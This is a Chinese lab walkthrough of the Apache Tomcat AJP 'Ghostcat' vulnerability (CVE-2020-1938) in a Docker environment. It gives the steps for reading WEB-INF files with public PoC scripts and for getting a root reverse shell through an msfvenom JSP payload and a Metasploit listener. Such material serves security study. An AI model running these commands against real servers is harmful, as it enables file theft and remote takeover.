0x00 漏洞描述
Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。 Apache Tomcat 7.0.100之前的7.*版本、8.5.51之前的8.*版本和9.0.31之前的9.*版本中的Tomcat AJP协议存在文件包含漏洞。攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp 配置文件或源代码等。
0x01 影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
0x02 环境搭建
1.进入docker目录下的tomcat/CVE-2020-1938
2.启动 sudo docker-compose up -d
3.查看端口 sudo docker ps -a
4.进入环境目录 sudo docker exec -it ec1b03d2b457(id) bash
0x03 漏洞利用
一、文件读取
1.下载POC检测是否存在漏洞
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
2.尝试读取8009端口下的web.xml文件
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.47.129 -p 8009 -f /WEB-INF/web.xml
3.在tomcat/webapps/ROOT/WEB-INF目录下创建一个test.txt文件,内容是helloworld,尝试访问试试
echo helloworld > ./webapps/ROOT/WEB-INF/test.txt
读取test.txt
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 192.168.47.129 -f /WEB-INF/test.txt
读取成功
二、文件包含getshell
尝试了一下不懂为什么文件包含不起作用,换一个POC就可以了
git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/
1.首先使用msf生成一个java木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.47.129 LPORT=6666 > shell.txt
2.将生成的木马复制到tomcat目录下,模拟我们已经将shell.txt上传
docker cp /home/kali/桌面/shell.txt ec1b03d2b457:/usr/local/tomcat/webapps/ROOT/WEB-INF/shell.txt
3.打开msf进行监听
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lport 6666
set lhost 192.168.47.129run
4.访问shell.txt,使shell.txt发生文件包含
python2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /WEB-INF/shell.txt 192.168.47.129
最后成功反弹,权限是root